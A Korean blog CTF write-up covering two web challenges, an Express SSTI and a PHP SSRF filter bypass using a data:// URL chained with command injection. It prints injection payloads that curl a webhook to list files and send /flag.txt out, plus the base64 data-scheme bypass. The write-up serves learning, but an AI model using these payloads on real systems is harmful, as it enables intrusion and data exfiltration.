전날에 CCE 예선전 참가하고 다음날 잠깐 했는데.. 집중력 떨어져서 많이는 못풀고 두개 풀었습니당..
해외 CTF는 확실히 블랙박스가 많아서 뭐부터 해야하는지 우왕좌왕 하게 되는거같아욥
내년에는 더 많이 풀기를..
1. [WEB] GREETINS

welcome 문제. username 입력하면 출력하는 게 다여서, SSTI말고는 없을 거 같았음

Express라서 node 관련으로 했고 아래와 같이 품

2. [WEB] SAFE_CONTENT

content를 가져온다네요

src는 아래와 같음

parse_url로 host를 검사하니까 우회는 쉬울 듯
내용을 기반으로 command를 실행하는 것으로 보아 command injection가능
webhook response는 flag 위치부터 찾기 위해 아래처럼 함
1; curl https://{webhook}?c=`ls . | base64` ; echo 1
문제는 host를 우회하기가 생각보다 어려웠음.. 그러다 data scheme을 사용한 블로그 글을 보게 됨.. 문제 레퍼런스가 이 게시물인가 싶을정도로 상황이 비슷함
https://medium.com/@themiddleblue/php-ssrf-techniques-9d422cb28d51
PHP SSRF Techniques
How to bypass filter_var(), preg_match() and parse_url()
medium.com
위에서 한대로 돌려보니까 잘 됨

data scheme의 뒷부분은 text/plain 이런 식으로 media type을 나타내는데, 이 부분을 파싱할 때 일반적인 scheme으로 파싱하다보니 localhost/plain으로 해도 잘 된다는 것...
file_get_contents할 때 문제가 있을 줄 았았는데, 위의 사진처럼 잘 됨
flag 파일 위치는 처음 payload처럼 찾았고, /flag.txt에 있었음
최종 payload
1; curl -k http:/{webhook} -d @"/flag.txt"; echo 1
위의 걸 두 번 base64해서 넣으면
data://localhost/plain;base64,{base64 code}
이렇게 보내면 flag파일이 옵니당

'write-up > CTF' 카테고리의 다른 글
| [codegate2025 qual] Web write-up (0) | 2025.04.03 |
|---|---|
| [BlackHat MEA qual CTF 2024] WEB all write-up (0) | 2024.09.03 |
| [CCE 2024 Qual] ccend write-up (0) | 2024.08.12 |
| [HTB Cyber Apocalypse 2024] Locktalk write-up (CVE-2022-39227) (5) | 2024.03.17 |
| [justCTF 2023] write-up (0) | 2023.06.06 |
댓글